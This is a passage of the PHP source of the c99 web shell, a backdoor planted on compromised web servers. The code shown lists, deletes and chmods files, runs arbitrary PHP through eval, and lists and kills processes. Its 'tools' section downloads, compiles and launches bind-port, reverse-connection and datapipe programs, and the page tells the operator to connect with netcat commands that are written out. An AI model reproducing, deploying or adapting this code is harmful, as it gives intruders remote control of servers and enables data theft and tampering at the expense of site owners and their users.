  2001.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
  2002.       else
  2003.       {
  2004.        $r[1] = round($r[1]);
  2005.        $isdir = is_dir($v);
  2006.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  2007.        {
  2008.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  2009.         $disppath = $r[2].$disppath.$r[3];
  2010.         if ($r[4]) {break;}
  2011.        }
  2012.       }
  2013.      }
  2014.     }
  2015.     $uo = urlencode($o);
  2016.     $ud = urlencode($dir);
  2017.     $uv = urlencode($v);
  2018.     $row = array();
  2019.     if ($o == ".")
  2020.     {
  2021.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2022.      $row[] = "LINK";
  2023.     }
  2024.     elseif ($o == "..")
  2025.     {
  2026.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2027.      $row[] = "LINK";
  2028.     }
  2029.     elseif (is_dir($v))
  2030.     {
  2031.      if (is_link($v))
  2032.      {
  2033.       $disppath .= " => ".readlink($v);
  2034.       $type = "LINK";
  2035.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2036.      }
  2037.      else
  2038.      {
  2039.       $type = "DIR";
  2040.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2041.       }
  2042.      $row[] = $type;
  2043.     }
  2044.     elseif(is_file($v))
  2045.     {
  2046.      $ext = explode(".",$o);
  2047.      $c = count($ext)-1;
  2048.      $ext = $ext[$c];
  2049.      $ext = strtolower($ext);
  2050.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  2051.      $row[] = view_size($a[1]);
  2052.     }
  2053.     $row[] = date("d.m.Y H:i:s",$a[2]);
  2054.     if (!$win) {$row[] = $a[3];}
  2055.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  2056.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  2057.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  2058.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
  2059.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
  2060.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  2061.     elseif (is_link($v)) {$tab["links"][] = $row;}
  2062.     elseif (is_dir($v)) {$tab["folders"][] = $row;}
  2063.     elseif (is_file($v)) {$tab["files"][] = $row;}
  2064.     $i++;
  2065.    }
  2066.   }
  2067.   // Compiling table
  2068.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  2069.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  2070.   foreach($table as $row)
  2071.   {
  2072.    echo "<tr>\r\n";
  2073.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  2074.    echo "</tr>\r\n";
  2075.   }
  2076.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  2077.  <script>
  2078.  function ls_setcheckboxall(status)
  2079.  {
  2080.   var id = 1;
  2081.   var num = ".(count($table)-2).";
  2082.   while (id <= num)
  2083.   {
  2084.    document.getElementById('actbox'+id).checked = status;
  2085.    id++;
  2086.   }
  2087.  }
  2088.  function ls_reverse_all()
  2089.  {
  2090.   var id = 1;
  2091.   var num = ".(count($table)-2).";
  2092.   while (id <= num)
  2093.   {
  2094.    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  2095.    id++;
  2096.   }
  2097.  }
  2098.  </script>
  2099.  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
  2100.  <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  2101.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  2102.   {
  2103.    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2104.   }
  2105.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  2106.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  2107.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  2108.   if ($usefsbuff)
  2109.   {
  2110.    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  2111.    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  2112.    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  2113.   }
  2114.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  2115.   echo "</form>";
  2116.  }
  2117. }
  2118. if ($act == "tools")
  2119. {
  2120.  $bndportsrcs = array(
  2121.   "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
  2122.   "c99sh_bindport.c"=>array("Using C","%path %port %pass")
  2123.  );
  2124.  $bcsrcs = array(
  2125.   "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
  2126.   "c99sh_backconn.c"=>array("Using C","%path %host %port")
  2127.  );
  2128.  $dpsrcs = array(
  2129.   "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
  2130.   "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
  2131.  );
  2132.  if (!is_array($bind)) {$bind = array();}
  2133.  if (!is_array($bc)) {$bc = array();}
  2134.  if (!is_array($datapipe)) {$datapipe = array();}
  2135.  
  2136.  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  2137.  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  2138.  
  2139.  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
  2140.  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
  2141.  
  2142.  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
  2143.  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
  2144.  if (!empty($bindsubmit))
  2145.  {
  2146.   echo "<b>Result of binding port:</b><br>";
  2147.   $v = $bndportsrcs[$bind["src"]];
  2148.   if (empty($v)) {echo "Unknown file!<br>";}
  2149.   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2150.   else
  2151.   {
  2152.    $w = explode(".",$bind["src"]);
  2153.    $ext = $w[count($w)-1];
  2154.    unset($w[count($w)-1]);
  2155.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2156.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2157.    if ($ext == "pl") {$binpath = $srcpath;}
  2158.    @unlink($srcpath);
  2159.    $fp = fopen($srcpath,"ab+");
  2160.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2161.    elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";}
  2162.    else
  2163.    {
  2164.     fwrite($fp,$data,strlen($data));
  2165.     fclose($fp);
  2166.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
  2167.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2168.     $v[1] = str_replace("%port",$bind["port"],$v[1]);
  2169.     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
  2170.     $v[1] = str_replace("//","/",$v[1]);
  2171.     $retbind = myshellexec($v[1]." > /dev/null &");
  2172.     sleep(5);
  2173.     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
  2174.     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
  2175.     else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
  2176.    }
  2177.    echo "<br>";
  2178.   }
  2179.  }
  2180.  if (!empty($bcsubmit))
  2181.  {
  2182.   echo "<b>Result of back connection:</b><br>";
  2183.   $v = $bcsrcs[$bc["src"]];
  2184.   if (empty($v)) {echo "Unknown file!<br>";}
  2185.   else
  2186.   {
  2187.    $w = explode(".",$bc["src"]);
  2188.    $ext = $w[count($w)-1];
  2189.    unset($w[count($w)-1]);
  2190.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2191.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2192.    if ($ext == "pl") {$binpath = $srcpath;}
  2193.    @unlink($srcpath);
  2194.    $fp = fopen($srcpath,"ab+");
  2195.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2196.    elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";}
  2197.    else
  2198.    {
  2199.     fwrite($fp,$data,strlen($data));
  2200.     fclose($fp);
  2201.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2202.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2203.     $v[1] = str_replace("%host",$bc["host"],$v[1]);
  2204.     $v[1] = str_replace("%port",$bc["port"],$v[1]);
  2205.     $v[1] = str_replace("//","/",$v[1]);
  2206.     $retbind = myshellexec($v[1]." > /dev/null &");
  2207.     echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
  2208.    }
  2209.   }
  2210.  }
  2211.  if (!empty($dpsubmit))
  2212.  {
  2213.   echo "<b>Result of datapipe-running:</b><br>";
  2214.   $v = $dpsrcs[$datapipe["src"]];
  2215.   if (empty($v)) {echo "Unknown file!<br>";}
  2216.   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2217.   else
  2218.   {
  2219.    $srcpath = $tmpdir.$datapipe["src"];
  2220.    $w = explode(".",$datapipe["src"]);
  2221.    $ext = $w[count($w)-1];
  2222.    unset($w[count($w)-1]);
  2223.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2224.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2225.    if ($ext == "pl") {$binpath = $srcpath;}
  2226.    @unlink($srcpath);
  2227.    $fp = fopen($srcpath,"ab+");
  2228.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2229.    elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";}
  2230.    else
  2231.    {
  2232.     fwrite($fp,$data,strlen($data));
  2233.     fclose($fp);
  2234.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2235.     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
  2236.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2237.     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
  2238.     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
  2239.     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
  2240.     $v[1] = str_replace("//","/",$v[1]);
  2241.     $retbind = myshellexec($v[1]." > /dev/null &");
  2242.     sleep(5);
  2243.     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
  2244.     if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
  2245.     else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
  2246.    }
  2247.    echo "<br>";
  2248.   }
  2249.  }
  2250.  ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
  2251.  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2252.  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
  2253. <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
  2254. foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2255. ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
  2256. Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
  2257. <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
  2258. foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2259. ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
  2260. }
  2261. if ($act == "processes")
  2262. {
  2263.  echo "<b>Processes:</b><br>";
  2264.  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  2265.  else {$handler = "tasklist";}
  2266.  $ret = myshellexec($handler);
  2267.  if (!$ret) {echo "Can't execute \"".$handler."\"!";}
  2268.  else
  2269.  {
  2270.   if (empty($processes_sort)) {$processes_sort = $sort_default;}
  2271.   $parsesort = parsesort($processes_sort);
  2272.   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  2273.   $k = $parsesort[0];
  2274.   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2275.   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2276.   $ret = htmlspecialchars($ret);
  2277.   if (!$win)
  2278.   {
  2279.    if ($pid)
  2280.    {
  2281.     if (is_null($sig)) {$sig = 9;}
  2282.     echo "Sending signal ".$sig." to #".$pid."... ";
  2283.     if (posix_kill($pid,$sig)) {echo "OK.";}
  2284.     else {echo "ERROR.";}
  2285.    }
  2286.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  2287.    $stack = explode("\n",$ret);
  2288.    $head = explode(" ",$stack[0]);
  2289.    unset($stack[0]);
  2290.    for($i=0;$i<count($head);$i++)
  2291.    {
  2292.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  2293.    }
  2294.    $prcs = array();
  2295.    foreach ($stack as $line)
  2296.    {
  2297.     if (!empty($line))
  2298. {
  2299.  echo "<tr>";
  2300.      $line = explode(" ",$line);
  2301.      $line[10] = join(" ",array_slice($line,10));
  2302.      $line = array_slice($line,0,11);
  2303.      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  2304.      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2305.      $prcs[] = $line;
  2306.      echo "</tr>";
  2307.     }
  2308.    }
  2309.   }
  2310.   else
  2311.   {
  2312.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2313.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2314.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2315.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2316.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2317.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2318.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2319.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2320.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2321.    while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
  2322.    while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2323.    $ret = convert_cyr_string($ret,"d","w");
  2324.    $stack = explode("\n",$ret);
  2325.    unset($stack[0],$stack[2]);
  2326.    $stack = array_values($stack);
  2327.    $head = explode("",$stack[0]);
  2328.    $head[1] = explode(" ",$head[1]);
  2329.    $head[1] = $head[1][0];
  2330.    $stack = array_slice($stack,1);
  2331.    unset($head[2]);
  2332.    $head = array_values($head);
  2333.    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2334.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2335.    if ($k > count($head)) {$k = count($head)-1;}
  2336.    for($i=0;$i<count($head);$i++)
  2337.    {
  2338.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  2339.    }
  2340.    $prcs = array();
  2341.    foreach ($stack as $line)
  2342.    {
  2343.     if (!empty($line))
  2344.     {
  2345.      echo "<tr>";
  2346.      $line = explode("",$line);
  2347.      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  2348.      $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  2349.      $prcs[] = $line;
  2350.      echo "</tr>";
  2351.     }
  2352.    }
  2353.   }
  2354.   $head[$k] = "<b>".$head[$k]."</b>".$y;
  2355.   $v = $processes_sort[0];
  2356.   usort($prcs,"tabsort");
  2357.   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2358.   $tab = array();
  2359.   $tab[] = $head;
  2360.   $tab = array_merge($tab,$prcs);
  2361.   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  2362.   foreach($tab as $i=>$k)
  2363.   {
  2364.    echo "<tr>";
  2365.    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  2366.    echo "</tr>";
  2367.   }
  2368.   echo "</table>";
  2369.  }
  2370. }
  2371. if ($act == "eval")
  2372. {
  2373.  if (!empty($eval))
  2374.  {
  2375.   echo "<b>Result of execution this PHP-code</b>:<br>";
  2376.   $tmp = ob_get_contents();
  2377.   $olddir = realpath(".");
  2378.   @chdir($d);
  2379.   if ($tmp)
  2380.   {
  2381.    ob_clean();
  2382.    eval($eval);
  2383.    $ret = ob_get_contents();
  2384.    $ret = convert_cyr_string($ret,"d","w");
  2385.    ob_clean();
  2386.    echo $tmp;
  2387.    if ($eval_txt)
  2388.    {
  2389.     $rows = count(explode("\r\n",$ret))+1;
  2390.     if ($rows < 10) {$rows = 10;}
  2391.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2392.    }
  2393.    else {echo $ret."<br>";}
  2394.   }
  2395.   else
  2396.   {
  2397.    if ($eval_txt)
  2398.    {
  2399.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  2400.     eval($eval);
  2401.     echo "</textarea>";
  2402.    }
  2403.    else {echo $ret;}
  2404.   }
  2405.   @chdir($olddir);
  2406.  }
  2407.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  2408.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2409. }
  2410. if ($act == "f")
  2411. {
  2412.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  2413.  {
  2414.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2415.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2416.  }
  2417.  else
  2418.  {
  2419.   $r = @file_get_contents($d.$f);
  2420.   $ext = explode(".",$f);
  2421.   $c = count($ext)-1;
  2422.   $ext = $ext[$c];
  2423.   $ext = strtolower($ext);
  2424.   $rft = "";
  2425.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2426.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2427.   if (empty($ft)) {$ft = $rft;}
  2428.   $arr = array(
  2429.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2430.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2431.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2432.    array("Code","code"),
  2433.    array("Session","phpsess"),
  2434.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2435.    array("SDB","sdb"),
  2436.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2437.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2438.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2439.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2440.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2441.   );
  2442.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2443.   foreach($arr as $t)
  2444.   {
  2445.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2446.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2447.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2448.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2449.   }
  2450.   echo "<hr size=\"1\" noshade>";
  2451.   if ($ft == "info")
  2452.   {
  2453.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2454.    if (!$win)
  2455.    {
  2456.     echo "<tr><td><b>Owner/Group</b></td><td> ";    
  2457.     $ow = posix_getpwuid(fileowner($d.$f));
  2458.     $gr = posix_getgrgid(filegroup($d.$f));
  2459.     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2460.    }
  2461.    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  2462.    $fi = fopen($d.$f,"rb");
  2463.    if ($fi)
  2464.    {
  2465.     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2466.     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2467.     $n = 0;
  2468.     $a0 = "00000000<br>";
  2469.     $a1 = "";
  2470.     $a2 = "";
  2471.     for ($i=0; $i<strlen($str); $i++)
  2472.     {
  2473.      $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2474.      switch (ord($str[$i]))
  2475.      {
  2476.       case 0:  $a2 .= "<font>0</font>"; break;
  2477.       case 32:
  2478.       case 10:
  2479.       case 13: $a2 .= "&nbsp;"; break;
  2480.       default: $a2 .= htmlspecialchars($str[$i]);
  2481.      }
  2482.      $n++;
  2483.      if ($n == $hexdump_rows)
  2484.      {
  2485.       $n = 0;
  2486.       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2487.       $a1 .= "<br>";
  2488.       $a2 .= "<br>";
  2489.      }
  2490.     }
  2491.     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  2492.     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  2493.    }
  2494.    $encoded = "";
  2495.    if ($base64 == 1)
  2496.    {
  2497.     echo "<b>Base64 Encode</b><br>";
  2498.     $encoded = base64_encode(file_get_contents($d.$f));
  2499.    }
  2500.    elseif($base64 == 2)
  2501.    {
  2502.     echo "<b>Base64 Encode + Chunk</b><br>";
  2503.     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2504.    }
  2505.    elseif($base64 == 3)
  2506.    {
